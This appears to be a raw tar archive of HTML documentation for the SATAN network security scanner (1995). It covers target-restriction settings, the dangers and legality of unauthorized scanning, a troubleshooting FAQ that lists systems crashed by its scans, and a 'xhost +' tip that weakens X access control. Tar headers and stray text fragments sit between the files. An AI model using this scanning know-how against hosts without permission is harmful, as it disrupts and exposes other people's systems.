  4620. <A NAME="exceptions"> <H3>Targeting Exceptions</H3></A>
  4621. Without precautions, SATAN can probe sites that you might not want
  4622. it to.  Exceptions are a way to prevent SATAN from going astray.
  4623. There are two ways of setting this up, and 
  4624. each is controlled by a variable name.  The <I>$only_attack_these</I>
  4625. variable is a list of domains and/or networks
  4626. that tells SATAN to only attack hosts that match one of those patterns.
  4627. For example, if you wanted SATAN to only attack educational sites,
  4628. you could say:
  4629. <PRE>
  4630.     $only_attack_these = "edu";
  4631. </PRE>
  4632. Similarly, there is a variable, <I>$dont_attack_these</I>, which you 
  4633. can set to a list of domains and/or networks that 
  4634. SATAN should <STRONG><I>never</I></STRONG> attack.
  4635. Looking at the last part of the configuration file gives further
  4636. examples of this:
  4637. <PRE>
  4638.     #
  4639.     # If $only_attack_these is non-null, *only* hit sites if they are of this
  4640.     # type.  You can specify a domain (podunk.edu) or network number
  4641.     # (192.9.9). You can specify any combination of domains and or networks
  4642.     # as long as you separate them by whitespace and/or commas.
  4643.     #
  4644.     # Examples:
  4645.     #
  4646.     # $only_attack_these = "podunk.edu";
  4647.     # $only_attack_these = "192.9.9";
  4648.     # $only_attack_these = "podunk.edu, 192.9.9";
  4649.     #
  4650.     $only_attack_these = "";
  4651.  
  4652.     #
  4653.     # Stay away from anyone that matches these patterns.
  4654.     #
  4655.     #  Example - leave government and military sites alone:
  4656.     #
  4657.     # $dont_attack_these = "gov, mil";
  4658.     $dont_attack_these = "";
  4659. </PRE>
  4660.  
  4661. <A NAME="workarounds"> <H3>Workarounds: DNS, ICMP</H3></A>
  4662.  
  4663. <h4>DNS</h4>
  4664.  
  4665. SATAN wants to use fully-qualified host names (<i>host.domain</i>)
  4666. so that it can fix truncated hostnames, as found, for example, in
  4667. <i>finger</i> output.
  4668. The <code>$dont_use_nslookup</code> flag controls whether
  4669. SATAN should use the <i>nslookup</i> command to look up hostnames.
  4670. <pre>
  4671.     # Set to nonzero if nslookup does not work.
  4672.     $dont_use_nslookup = 0;
  4673. </pre>
  4674.  
  4675. <h4>ICMP</H4>
  4676.  
  4677. Before probing a host, SATAN attempts to ping it. When the host does
  4678. not respond, SATAN assumes the host is down and skips further probes.
  4679. The <code>$dont_use_ping</code> controls whether SATAN should ping
  4680. hosts before probing them. Set it to a non-zero value when ICMP does
  4681. not work.  
  4682. <pre>
  4683.     # Set to nonzero if ICMP does not work.
  4684.     $dont_use_ping = 0;
  4685. </pre>
  4686. <HR>
  4687. Of course, reading the perl code in the various modules can give more
  4688. hints on all of these configuration file options.
  4689.  
  4690. <hr>
  4691. <a href="satan_reference.html"> Back to the Reference TOC/Index</a>
  4692. </BODY>
  4693. </HTML>
  4694. is presumes thsatan-1.1.1/html/docs/artwork.html..................................................................   600 .   465 .   506 .       1101  5736744274  12157. .......................................................................................
  4695. .................................................................................................................................................................................................................................................................
  4696. ............<HTML>
  4697. <HEAD>
  4698. <title>SATAN Artwork</title>
  4699. <LINK REV="made" HREF="mailto:satan@fish.com">
  4700. </HEAD>
  4701. <BODY>
  4702. <H2><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">SATAN Artwork</H2>
  4703. <HR>
  4704. Neil Gaiman (author of the extraordinary comic book
  4705. <CITE><STRONG>Sandman</STRONG></CITE>)
  4706. was ever so kind enough to donate a custom image for the
  4707. SATAN project.  We're <STRONG>very</STRONG> grateful to him for putting
  4708. the perfect, final touch on our system.
  4709. <HR>
  4710. <a href="../images/satan-full.gif">
  4711. <IMG SRC="../images/satan-almost-full.gif" ALT="[SECOND SATAN IMAGE]"> </a>
  4712. </BODY>
  4713. </HTML>
  4714.  <I>$dont_attack_these</I>, which you 
  4715. can set to a list of domains and/or networks that 
  4716. SATAN should <STRONG><I>never</I></STRONG> attack.
  4717. Looking at the last part of the configuration file gives further
  4718. examples of this:
  4719. <PRE>
  4720.     #
  4721.     # If $only_attack_these is non-null, *only* hit sites if they are of this
  4722.     # type.  You can specify a domain (podunk.edu) or network number
  4723.     # (192.9.9). You can specify any combination of domains and satan-1.1.1/html/docs/dangers.html..................................................................   600 .   465 .   506 .      13762  5737562740  12146. .....................................
  4724. .................................................................................................................................................................................................................................................................
  4725. ..............................................................<HTML>
  4726. <HEAD>
  4727. <title>Dangers of SATAN</title>
  4728. <LINK REV="made" HREF="mailto:satan@fish.com">
  4729. </HEAD>
  4730. <BODY>
  4731. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">Dangers of SATAN</H1>
  4732. <HR>
  4733. How could a friendly program such as SATAN be called dangerous?  Well,
  4734. there are two reasons; first, system crackers, potential intruders, or
  4735. simply random people on the Internet could run the program against hosts
  4736. that they have no authorization to do so against.  This could be a
  4737. problem especially since some of the probes that SATAN uses are very
  4738. similar to some attack methods used by system crackers (and that's part
  4739. of the reason that it works so well), and alarms and blood pressures
  4740. could be raised unnecessarily.  The second reason is that even a
  4741. well-intentioned system administrator could run SATAN on her or his
  4742. system and it could follow lines of trust or potential vulnerability far
  4743. beyond their authorized e-borders and anger or frustrate their
  4744. neighbors.  The safest way to run SATAN is behind a firewall - since
  4745. SATAN will only probe systems that it has IP connectivity to, it will
  4746. never cross the firewall host (assuming IP_FORWARDING is turned off.)
  4747. Be <STRONG>VERY</STRONG> careful if you're running SATAN behind a firewall
  4748. that allows inside users to have direct IP connectivity to hosts on
  4749. the Internet!  You are essentially on the Internet as far as SATAN
  4750. is concerned, so follow the above guidelines.
  4751.  
  4752. <p>
  4753. The dangers of <I>writing</I> SATAN are tangible as well.  One
  4754. of the authors lost his job because of it; there has been a letter
  4755. writing campaign to stop the release of the program.  People accuse
  4756. us of writing it for noterieties sake and pure personal gain.  And
  4757. the newspaper reports of the mission of the program have not been, as
  4758. they say, wholly favorable.
  4759.  
  4760. <p>
  4761. <A NAME="leashing-satan"><H3>Controlling SATAN</H3></A>
  4762. SATAN has three main safeguards built into the program.  First, it will
  4763. never venture further than the <I>proximity level</I> number of
  4764. hosts away from the original target or subnet.  Each host or ring of
  4765. hosts that is/are adjacent to the original target is one proximity level
  4766. further away.  So if the proximity level is set to two, SATAN will never
  4767. attack more than two hops away from the original target.  This can still
  4768. be a very sizable number of hosts, because it can progress
  4769. exponentially!  See the <A HREF="satan.cf.html#prox-vars">config/satan.cf</A>
  4770. documentation for more on this topic.  In addition to proximity levels,
  4771. it has two other methods to restrict SATAN's wanderings - the two
  4772. targeting exception variables <I>"$only_attack_these"</I> and
  4773. <I>"$dont_attack_these"</I>.  The first can limit SATAN to probe only
  4774. hosts in a specified set of hosts, governed by their FQDN (such as
  4775. <I>"berkeley.edu"</I>, <I>"sun.com"</I>, or whatever), and the second
  4776. can inform SATAN that it shouldn't probe any hosts of a specific name -
  4777. for instance, all military (<I>".mil"</I>) or government (<I>".gov"</I>)
  4778. sites.  See the <A HREF="satan.cf.html#exceptions">config/satan.cf</A>
  4779. documentation for more on this topic.
  4780. <p>
  4781. <A NAME="boundary"><H3>Boundary issues - keeping track of where it
  4782. is</H3></A>
  4783. When SATAN probes hosts, it updates a status file (called
  4784. <i>status_file</i> by default) with a time stamp and with the last
  4785. executed action.
  4786. Setting the verbose/debug flag (the "-v" option) will output the
  4787. current host on the command line, but with quite a bit of other output
  4788. as well, and it can be difficult to keep track of things.
  4789. <p>
  4790. <A NAME="being-friendly"><H3>Being a very unfriendly neighbor</H3></A>
  4791. It is generally considered to be very rude and anti-social behavior to
  4792. scan someone else's hosts or networks without the explicit permission of
  4793. the owner.  <STRONG>Always</STRONG> ask if it'd be ok to scan outside of
  4794. your own networks.  If you're unsure about where SATAN will go, set the
  4795. <A HREF="satan.cf.html#prox-vars">proximity levels</A> to be very low
  4796. (start at zero!) and set the <A HREF="satan.cf.html#exceptions">
  4797. $only_attack_these</A> variable to disallow SATAN from scanning anything
  4798. but your own hosts.
  4799. <p>
  4800. Please be considerate <I>and</I> smart; unauthorized scanning of your
  4801. Internet neighbors, even if you think you're doing them a favor, can be
  4802. seen as a serious transgression on your part, and could engender not
  4803. only ill will or bad feelings, but legal problems as well.
  4804. <p>
  4805. <A NAME="attack-or-not"><H3>Attacking vs. probing vs. scanning</H3></A>
  4806. What is an attack, or a probe, or a scan?  It's not always clear,
  4807. especially as system administrators are getting more savy and aware of
  4808. the enormous amount of traffic present on the Internet (see Steve
  4809. Bellovin's <A HREF="ftp://research.att.com/dist/smb/packets.ps">
  4810. paper</A> on this topic for more information about this).  For instance,
  4811. is a finger from a remote site an attack?  Without knowing any of the
  4812. motivations involved, it can't be ascertained.  "Finger wars", or two
  4813. sites that use the <I>"tcp wrappers"</I> or similar software that will
  4814. automatically finger a remote site that connects to it can bring down
  4815. hosts inadvertently.
  4816. <p>
  4817. Certainly SATAN could be used to attack systems, but just as certainly,
  4818. it wasn't designed for that.  In the documentation we use scanning and
  4819. probing fairly interchangeably, and as long as SATAN is used properly,
  4820. that's all it will ever do.  Be aware that many of the probes will
  4821. generate messages on the console or set off various alarms on the remote
  4822. target, however, so you should be aware of the potential for false
  4823. alarms and accusations that might be leveled against you.
  4824. <p>
  4825. <A NAME="legal"><H3>Legal problems with running SATAN</H3></A>
  4826. Not only is it an unfriendly idea to run SATAN against a remote site
  4827. without permission, it is probably illegal as well.  Do yourself and the
  4828. rest of the Internet a favor and don't do it!  While we don't know of
  4829. anyone being charged with a crime or sued because they ran a security
  4830. tool against someone else, SATAN could change that.  Heed the warnings,
  4831. limit your scans to authorized hosts, and all should be well.
  4832.  
  4833. <hr>
  4834. <a href="satan_overview.html"> Back to the Introductory TOC/Index</a>
  4835.  
  4836. </BODY>
  4837. </HTML>
  4838. rgeting exceptsatan-1.1.1/html/docs/FAQ.html......................................................................   600 .   465 .   506 .      45761  5742435366  11135. .......................................................................................
  4839. .................................................................................................................................................................................................................................................................
  4840. ............<HTML>
  4841. <HEAD>
  4842. <title>SATAN Frequently Asked Questions (FAQ)</title>
  4843. <LINK REV="made" HREF="mailto:satan@fish.com">
  4844. </HEAD>
  4845. <BODY>
  4846.  
  4847. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">SATAN Frequently Asked Questions (FAQ)</H1>
  4848. <HR>
  4849. <H3>Table of Contents</H3>
  4850. (Last-modified: April 10th, 1995)
  4851. <ul>
  4852. <li> <a href="#general"> General Questions
  4853. <li> <a href="#trouble"> Troubleshooting
  4854. <li> <a href="#compare"> Comparisons, Hype, etc.
  4855. <li> <a href="#tech"> Tech Stuff
  4856. <li> <a href="#vital"> Really Important Things
  4857. </ul>
  4858.  
  4859. <hr>
  4860. <a name="general"></a>
  4861. <H3>General questions</H3>
  4862. <UL>
  4863. <li> <A HREF="intro.html#what-is-satan">What is SATAN?</A>
  4864. <li> <a href="../name.html">Why is it called SATAN?</a>
  4865. <li> <a href="philosophy.html">Why in the hell (ahem) was it written?</a>
  4866. <li> <a href="system_requirements.html">What does it run on?</a>
  4867. <li> <a href="system_requirements.html#other-requirements">How do you get it?</a>
  4868. <li> <a href="copyright.html">Is it freeware, Public Domain, Copyrighted...?</a>
  4869. <li> <a href="artwork.html">Who did the cool artwork?</a>
  4870. <li> <a href="philosophy.html#money">Who paid for the development?</a>
  4871. <li> <a href="philosophy.html#money">Does any company, government, or organization endorse it?</a>
  4872. <li> <a href="philosophy.html#white-hats">Why don't you release it just to the white hats (what about the system crackers)?</a>
  4873. </UL>
  4874.  
  4875. <a name="trouble"></a>
  4876. <H3>Troubleshooting</H3>
  4877. <h4>(Getting it to work/run at all)</h4>
  4878. <UL>
  4879. <li><a href="#linux">I'm trying to get SATAN running on my Linux box.
  4880. Why won't it work?</a>
  4881. <li><a href="#ultrix">I'm trying to get SATAN to compile on my ULTRIX box.
  4882. Why won't it work/where is rpgen?</a>
  4883. <li><a href="#compress">What do I need to uncompress the SATAN tar file?</a>
  4884. <li><a href="#get-perl">Where do I get a version of perl that will work?</a>
  4885. <li><a href="#upgrade">When I try to run SATAN, it says (something like):
  4886. "missing right bracket at perl/getfqdn.pl line 48, at end of line"</a>
  4887. <li><a href="#ctime">When I try to run SATAN, it says (something like):
  4888. "Can't locate ctime.pl in @INC at perl/status.pl line 5."</a>
  4889. <li><a href="#x-stuff">When I try to run satan I get "Xlib:connection
  4890. to ":0.0" refused by server"</a>
  4891. </ul>
  4892.  
  4893. <h4>(Problems when running it)</h4>
  4894. <ul>
  4895.  
  4896. <li><a href="#bogus">SATAN doesn't find any hosts at all - it starts
  4897. and stops with "(0 host(s) visited)".  This is bogus!  Give me my
  4898. money back!</a>
  4899. <li><a href="#crash">SATAN crashed, hung, or did very odd things to a system
  4900. that it was run against.</a>
  4901. <li><a href="FAQ.html#black-n-white">I'm using a B/W monitor, and it's
  4902. hard to see the difference between red and black dots.  What can I do?</a>
  4903. <li><a href="FAQ.html#www">How can I change from one HTML browser (e.g. Mosaic,
  4904. Netscape, whatever) to another, without running reconfig or something?</a>
  4905. <li><a href="FAQ.html#multi-fingers">Why does SATAN keep fingering the
  4906. same host(s) over and over again?</a>
  4907. <li><a href="#crash-n-burn">I ran SATAN to analyze my results and the
  4908. machine slows grinds down to a standstill (and possibly crashes), but I
  4909. don't get any answers.</a>
  4910. <li><a href="#broken-dns">Given that Satan starts its own http server
  4911. on the local host, why doesn't it use 'localhost' instead of the FQDN
  4912. of the local host when trying to contact it?</a>
  4913. <li><a href="#proxy">Whenever I click on a hyper link it doesn't work.</a>
  4914. <li><a href="#merge">I merged some databases together with the "merge"
  4915. function in the <i>SATAN Data Management</i>, but when I exited SATAN,
  4916. they weren't saved.  What gives?</a>
  4917. <li><a href="#processes">I get "bin/tcp_scan: socket: Too many open files"
  4918. in the window from which I start Satan.</a>
  4919.  
  4920. </UL>
  4921.  
  4922. <a name="compare"></a>
  4923. <H3>Comparisons, Hype, etc.</H3>
  4924. <UL>
  4925. <li> <a href="#the-big-deal">What's the deal?  Who cares?  Why all the publicity?</a>
  4926. <li> <a href="#satan-n-cops">What's the difference between it and COPS?</a>
  4927. <li> <a href="#satan-n-iss">What's the difference between it and ISS and other remote scanners?</a>
  4928. <li> <a href="#remote-audit">What's a remote security auditing tool/probe/scanner?</a>
  4929. </UL>
  4930.  
  4931. <a name="tech"></a>
  4932. <H3>Tech stuff</H3>
  4933. <UL>
  4934. <li> <a href="#black-n-white">I'm using a B/W monitor, and it's hard to
  4935. see the difference between red and black dots.  What can I do?</a>
  4936. <li> <a href="#www">How can I change from one HTML browser (e.g. Mosaic,
  4937. Netscape, whatever) to another, without running reconfig or something?</a>
  4938. <li> <a href="philosophy.html#why-scan">Why does it scan sites outside of
  4939. your own domain?</a>
  4940. <li> <a href="#warning-sites">Why doesn't it warn remote hosts that it is
  4941. probing them?</a>
  4942. <li> <A HREF="satan.probes.html">What is a .satan file, and how can I write
  4943. my own?</A>
  4944. <li> <A HREF="satan.rules.html">How can I write my own rules to teach SATAN
  4945. about my site?</A>
  4946. <li> <A HREF="satan.rules.html#drop">How can I teach SATAN to ignore
  4947. .what it thinks is a vulnerability?</A> 
  4948. <li> <a href="#multi-fingers">Why does SATAN keep fingering the same host(s)
  4949. over and over again?</a>
  4950. <li> <a href="#died">SATAN died (or the machine crashed, or whatever)
  4951. in the middle of a run - do I have to start everything over again?</a>
  4952. <li> <a href="#how-detect">How can I tell if anyone is running SATAN against
  4953. me?</a>
  4954. <li> <a href="#different-os">{When is the port of/can you help me port/do
  4955. you have any information on porting} SATAN to MacOS/DOS/VMS/MVS/Whatever?</a>
  4956. <li> <a href="#tmp-files">I see a lot of odd files that are appearing
  4957. on my system after running SATAN, such as /tmp/sh11318, tmp_file.1288,
  4958. etc.  What's the deal?</a>
  4959. <li> <a href="#bug-check">Why doesn't SATAN check for
  4960. [insert your favorite bug here]?</a>
  4961. </UL>
  4962.  
  4963. <a name="vital"></a>
  4964. <H3>Really important things</H3>
  4965. <UL>
  4966. <li> <a href="#authors">How can I contact the authors?</a>
  4967. <li> <a href="acknowledgements.html">Acknowledgements.</a>
  4968. </UL>
  4969. <hr>
  4970. <a name="authors"><H3>How can I contact the authors?</H3></a>
  4971.  
  4972. Send mail to <A HREF="mailto:satan@fish.com">satan@fish.com</A> (or click 
  4973. on the e-mail address); this will be sent to both of the authors.
  4974. Failing this, you can send mail directly to Dan:
  4975. <A HREF="mailto:zen@fish.com">zen@fish.com</A>
  4976. or Wietse:
  4977. <A HREF="mailto:wietse@wzv.win.tue.nl">wietse@wzv.win.tue.nl</A>
  4978.  
  4979. <a name="the-big-deal"><H3>What's the deal?  Who cares?  Why all the publicity?</H3></a>
  4980.  
  4981. SATAN appears to be a tool written at the right time.  The current (as
  4982. of April, 1995) flurry of concern and press about SATAN is not really
  4983. all about SATAN - anything that is Internet related is big news these
  4984. days.  Combine that with the recent Mitnick/Shimomura hunt and capture,
  4985. as well as the latest IP spoofing techniques being publicized, and you
  4986. have, for whatever reason, a big story in SATAN.
  4987. <p>
  4988. There are some technical reasons why SATAN is important - it
  4989. <STRONG>does</STRONG> do and detect things that weren't possible before,
  4990. at least by no other tools or methods that the authors knew about.  It's
  4991. easy to use, and fills a gap that was only poorly covered by previous
  4992. software.  However, the death of the Internet is not, and should not
  4993. be predicted.
  4994.  
  4995. <p>
  4996. <a name="upgrade"><h3>When I try to run SATAN, it says (something like):
  4997. "missing right bracket at perl/getfqdn.pl line 48, at end of line"</h3></a>
  4998. You need to upgrade your version of perl - you're probably using the
  4999. alpha version of perl5.
  5000.  
  5001. <p>
  5002. <a name="compress"><h3>What do I need to uncompress the SATAN tar file?</h3></a>
  5003. To uncompress the archives, you'll need to use the Un*x uncompress program
  5004. if it ends in ".Z", or the GNU unzip if it ends in ".gz".
  5005.  
  5006. <p>
  5007. <a name="get-perl"><h3>Where do I get a version of perl that will work?</h3></a>
  5008. perl5 is available via anonymous ftp from ftp.netlabs.com
  5009.  
  5010. <p>
  5011. <a name="ctime"><h3>When I try to run SATAN, it says (something like):
  5012. "Can't locate ctime.pl in @INC at perl/status.pl line 5."</h3></a>
  5013. ctime.pl is bundled with perl5; if you've installed that, you should
  5014. have it - look for it in the library subdirectories.  If it's there,
  5015. as a last resort you can copy "ctime.pl" (and perhaps "getopts.pl"
  5016. into the main SATAN directory, and SATAN should find it there.
  5017.  
  5018. <p>
  5019. <a name="x-stuff"><h3>When I try to run satan I get "Xlib:connection
  5020. to ":0.0" refused by server"</h3></a>
  5021. You can do a "xhost +hostname", where "hostname" is the host you're
  5022. running it on, and try again.  Also, look at
  5023. <a href="../tutorials/vulnerability/SATAN_password_disclosure.html">
  5024. the problems with X, networks, and SATAN</a>
  5025.  
  5026. <p>
  5027. <a name="ultrix"><h3>I'm trying to get SATAN to compile on my ULTRIX box.
  5028. Why won't it work/where is rpgen?</h3></a>
  5029. DEC/Ultrix doesn't have "rpcgen".  You'll need to run it
  5030. on another machine and drag the resulting source code over (or upgrade
  5031. to SATAN version 1.1 or better.)
  5032.  
  5033. <p>
  5034. <a name="bogus"><h3>SATAN doesn't find any hosts at all - it starts
  5035. and stops with "(0 host(s) visited)".  This is bogus!  Give me my
  5036. money back!</h3></a>
  5037. Calm down.  You probably can't use ICMP to detect if a host is alive
  5038. or not.  Try setting "$dont_use_ping=1" in <i>config/satan.cf</i> (it's
  5039. near the bottom.)  It should work, or we'll give you double your money back.
  5040.  
  5041. <p>
  5042. <a name="crash"><H3>SATAN crashed, hung, or did very odd things to a system
  5043. that it was run against.</H3></a>
  5044. We've received reports of various OS's that seem to have significant
  5045. trouble with SATAN scans, particularily the UDP and TCP scans that span
  5046. lots of ports.  Among the afflicted:
  5047.  
  5048. <ul>
  5049. <li>DEC Alphas running OSF/1 1.3 - generates a kernal memory fault when
  5050. the UDP scan is done, rolls over and dies.  The file system is sufficiently
  5051. hosed such that the system remains in single user mode upon reboot.
  5052. <li>A few Mac's had ethernet problems, spewing packets back at the
  5053. SATAN machine when fping-ed, causing the SATAN host to slow down
  5054. tremendously trying to handle the traffic.
  5055. <li>OS/2, version 3.0 of the networking code.  A report that it
  5056. locked up the telnet and ftp daemons.  A restart of inetd is required
  5057. to get things going again.
  5058. <li>Ultrix systems running 4.2A - the elcsd process start
  5059. to loop, consuming all available CPU cycles.
  5060. <li>SunOS 5.4 - an extra inetd process is forked off, adding 1.0 to
  5061. the system load.
  5062. </ul>
  5063.  
  5064. <p>
  5065. <a name="crash-n-burn"><H3>I ran SATAN to analyze my results and the
  5066. machine slows grinds down to a standstill (and possibly crashes), but I
  5067. don't get any answers.</H3></a>
  5068.  
  5069. It could be, with a large amount of data, that SATAN is using too much
  5070. memory to fit in your machine.  An enormous amount of memory is
  5071. consumed by the program (see
  5072. <a href="system_requirements.html#memory>memory requirements</a> for
  5073. more on this.)  Try checking the memory used by SATAN on your machine;
  5074. if it needs more, get more memory - adding swap space is a very painful
  5075. way of trying to deal with this.
  5076.  
  5077. <p>
  5078. <a name="broken-dns"><H3> Given that Satan starts its own http server
  5079. on the local host, why doesn't it use 'localhost' instead of the FQDN
  5080. of the local host when trying to contact it?</H3></a>
  5081.  
  5082. This breaks some HTML browsers. Try running with $dont_use_nslookup (found
  5083. in config/satan.cf) when your naming service is crippled.
  5084.  
  5085. <p>
  5086. <a name="proxy"><H3>Whenever I click on a hyper link it doesn't work.</H3></a>
  5087. Be careful if you use proxy services (typically if you're behind a
  5088. firewall you do) to access the WWW - you should unset environment
  5089. variables (such as $http_proxy $file_proxy, $socks_ns, etc.) and/or
  5090. change your browser's configuration to not use your SOCKS host or HTTP
  5091. Proxy host (in your HTML browser's option section.)
  5092.  
  5093. <p>
  5094. <a name="merge"><h3>I merged some databases together with the "merge"
  5095. function in the <i>SATAN Data Management</i>, but when I exited SATAN,
  5096. they weren't saved.  What gives?</h3></a>
  5097. The database merging only works in memory.  Currently there is no way to
  5098. save this to disk (until the next version of SATAN.)
  5099.  
  5100. <p>
  5101. <a name="processes"><h3>I get "bin/tcp_scan: socket: Too many open files"
  5102. in the window from which I start Satan.</h3></a>
  5103. The machine's open file table is getting exhausted.  Tcp_scan backs off
  5104. and succeeds after a few attempts.  You'll need to build a bigger kernel or
  5105. run less processes.
  5106.  
  5107. <p>
  5108. <a name="linux"><H3>I'm trying to get SATAN running on my Linux box.</H3></a>
  5109. Linux is far from a standard Un*x, and SATAN has a tendency to push the
  5110. OS and perl to the limits.  We've tried to do as much as possible to
  5111. make it work, but there are probably various problems we haven't found
  5112. because we don't have a Linux box to play with.  (Cross?) posting to
  5113. comp.security.unix and comp.os.linux.* could probably give you more
  5114. help than we could.
  5115.  
  5116. <p>
  5117. <a name="warning-sites">
  5118. <H3>Why doesn't it warn remote hosts that it is probing them?</H3></a>
  5119.  
  5120. This could be built into satan; the most reliable general solution
  5121. would be to send mail to the probed system (say, to "root" or "postmaster").
  5122. A beta-tester suggested that an entry could be written to the target's
  5123. syslog.  Neither of the solutions are incredibly reliable.  The
  5124. former relies on someone reading the mail and the account existing, as
  5125. well as having to deal with hundreds if not thousands of pieces of mail
  5126. that might go to machines that the user of SATAN controls.  The latter
  5127. has several problems, first and foremost in that it depends on people
  5128. actually looking at the syslog records, and secondly that if an intruder
  5129. uses SATAN to break in, they will typically "flatten", modify, or simply
  5130. destroy such records.  Finally, many systems don't run or have non-standard
  5131. syslog programs and quite a few filter out requests with packet filters,
  5132. so they would never see the warning.
  5133. <p>
  5134. Nonetheless, we'll probably be putting either or both of these as options in
  5135. the next release of SATAN.
  5136.  
  5137. <p>
  5138. <a name="satan-n-cops"><H3>What's the difference between it and COPS?</H3></a>
  5139.  
  5140. COPS is a host-based Un*x security auditing tool; that means you run it
  5141. on the host you wish to examine the security of.  SATAN is a remote
  5142. <STRONG>network</STRONG> security auditing tool, which means it can report
  5143. on the security of any host OR network that has IP connectivity to where
  5144. you run the tool; you don't need an account or privileges on the remote
  5145. targets to report on them.
  5146.  
  5147. <p>
  5148. <a name="satan-n-iss"><H3>What's the difference between it and ISS and other remote scanners?</H3></a>
  5149.  
  5150. ISS, and any other remote auditing tool that we're aware of, scans a network
  5151. or remote host and then reports on any problems that it may find.  While
  5152. SATAN does that as well, the inferencing, the web of trust that it
  5153. uncovers, the automatic probing of secondary targets, the rich reporting
  5154. schema with context sensitive hypertext links to the documentation, the
  5155. rich configurability, etc. all make SATAN different to what is currently
  5156. available.
  5157.  
  5158. <p>
  5159. <a name="remote-audit"><H3>What's a remote security auditing tool/probe/scanner?</H3></a>
  5160.  
  5161. This means it can report on the security of any host OR network that has
  5162. IP connectivity to where you run the tool; you don't need an account or
  5163. privileges on the remote targets to report on them.
  5164.  
  5165. <p>
  5166. <a name="black-n-white"><H3>I'm using a B/W monitor, and it's hard to
  5167. see the difference between red and black dots.  What can I do?</H3></a>
  5168. The easiest thing to do is to just mv (or link or whatever) the
  5169. <i>html/dots/whitedot.gif</i> to <i>html/dots/reddot.gif</i>.  That'll
  5170. give a much higher contrast and should be easier to read.
  5171.  
  5172. <p>
  5173. <a name="www"><H3>How can I change from one HTML browser (e.g. Mosaic,
  5174. Netscape, whatever) to another, without running reconfig or something?</H3></a>
  5175. Simply edit the file <i>config/paths.pl</i>.  You'll see a line that
  5176. looks like:
  5177. <PRE>
  5178.     $MOSAIC = "/usr/local/bin/netscape";
  5179. </PRE>
  5180. Change the path inside the parenthesis to point to wherever your
  5181. preferred browser is; for instance, if you want to use Mosaic, and it's
  5182. in <i>/usr/bin/X11</i>, you'd change the above line to:
  5183. <PRE>
  5184.     $MOSAIC = "/usr/bin/X11/Mosaic";
  5185. </PRE>
  5186.  
  5187. <p>
  5188. <a name="multi-fingers"><H3>Why does SATAN keep fingering the same host(s) over and over again?</H3></a>
  5189.  
  5190. SATAN will finger a host repeatedly if it gets new information about the
  5191. host; for instance, if it finds out that a user might exist on a host, it
  5192. will finger to try and find out remote login information.
  5193.  
  5194. <p>
  5195. <a name="died"> <H3>SATAN died (or the machine crashed, or whatever)
  5196. in the middle of a run - do I have to start everything over again?</H3></a>
  5197. SATAN saves data at regular intervals to its database files; the easiest
  5198. thing to do is to simply start it up again, with the same target and
  5199. probe levels.  If SATAN has remembered anything, it will grind away for
  5200. awhile, finding out what it has seen before, and then resume on the targets
  5201. that it hasn't scanned.
  5202.  
  5203. <p>
  5204. <a name="how-detect"><H3>How can I tell if anyone is running SATAN against
  5205. me?</H3></a>
  5206. CIAC wrote and is distrbuting something called
  5207. <a href="http://ciac.llnl.gov/ciac/ToolsUnixNetMon.html#Courtney">
  5208. Courtney</a>, but it is far from foolproof.  It is very difficult
  5209. to detect the lighter SATAN scans; the heavier ones, however, are
  5210. typically best detected by running Wietse's tcpd wrappers and examining
  5211. the logs - a good tipoff is if many of your machines in the same area
  5212. log connections from the same remote site.  Some of the SATAN probes
  5213. output a message to the console - if users report odd messages on their
  5214. console screen, take them seriously ;-)
  5215.  
  5216. <p>
  5217. <a name="different-os"><H3>{When is the port of/can you help me port/do
  5218. you have any information on porting} SATAN to MacOS/DOS/VMS/MVS/Whatever?</H3></a>
  5219. SATAN, at least on the server side, is heavily linked to Un*x and perl5.  
  5220. While it might be possible to port SATAN to one of these other OS's (if
  5221. you can call them that! ;-)) would be fairly difficult and not something
  5222. that either one of us wants to touch with a ten foot (or ~ 3 meter) pole.
  5223.  
  5224. <p>
  5225. <a name="tmp-files"><H3>I see a lot of odd files that are appearing
  5226. on my system after running SATAN, such as /tmp/sh11318, tmp_file.1288,
  5227. etc.  What's the deal?</H3></a>
  5228.  
  5229. SATAN uses perl extensively in it's tests; the <i>.satan</i>
  5230. probes use such commands as:
  5231. <pre>
  5232.     open(FOO, "|program <<_EOF
  5233.     some input
  5234.     more input
  5235.     _EOF");
  5236. </pre>
  5237. This will leave a temporary file behind when SATAN determines that they
  5238. have run out of time and kill off the probe.  Almost all temporary files
  5239. that are created at various time within the SATAN are deleted
  5240. automatically, but since the << files are created internally by the shell,
  5241. it is impossible for SATAN to know how to delete the files
  5242. that remain.  Simply delete them, or create a <i>cron</i> job to
  5243. automatically sweep the <i>/tmp</i> directory for you.
  5244.  
  5245. <p>
  5246. <a name="bug-check"><H3>Why doesn't SATAN check for
  5247. [insert your favorite bug here]?</H3></a>
  5248. There are several reasons why SATAN does not probe for all known bugs:
  5249. <UL>
  5250. <LI>Pointing out bugs is one thing, but fixing them is not always
  5251. possible. With the first release, SATAN focuses on problems that can be
  5252. fixed or worked around by the system administrator, at least when the
  5253. operating system version is reasonably up to date.
  5254. <LI>The authors have only a few hours in the day available for SATAN
  5255. development, and writing the data collection tools wasn't nearly as much
  5256. fun as building the SATAN framework that controls them.
  5257. <li>Many bugs are *extremely* difficult to check for, especially when
  5258. you're dealing with code that has to return a yes or no in a very short
  5259. time over potentially thousands of hosts.
  5260. </UL>
  5261.  
  5262. <hr>
  5263. <p>
  5264. <a href="../satan_documentation.html"> Back to the Documentation TOC</a>
  5265.  
  5266. </BODY>
  5267. </HTML>
  5268. saic,
  5269. Netscape,satan-1.1.1/html/docs/philosophy.html...............................................................   600 .   465 .   506 .       5255  5737563033  12673. ............................................................................................
  5270. .................................................................................................................................................................................................................................................................
  5271. .......<HTML>
  5272. <HEAD>
  5273. <title>Philosophical Musings</title>
  5274. <LINK REV="made" HREF="mailto:satan@fish.com">
  5275. </HEAD>
  5276. <BODY>
  5277. <H1><IMG SRC="../images/satan.gif" ALT="[SATAN IMAGE]">Philosophical Musings</H1>
  5278. <HR>
  5279. <A NAME="why-build"><H3>Why build it?</H3></A>
  5280. Why did we create SATAN?  Quite simply, we wanted to know more about
  5281. network security, particularly with respect to large networks.  There
  5282. is an enormous amount of information out there, and it is definitely not
  5283. clear by examining information and hosts by hand what the <I>real</I>
  5284. overall security picture is.  SATAN was an attempt to break new ground,
  5285. to promote understanding, and to have fun writing such a program.
  5286. <p>
  5287. <A NAME="money"></a>
  5288. <H3>Money, endorsements, recording contracts, etc.</H3>
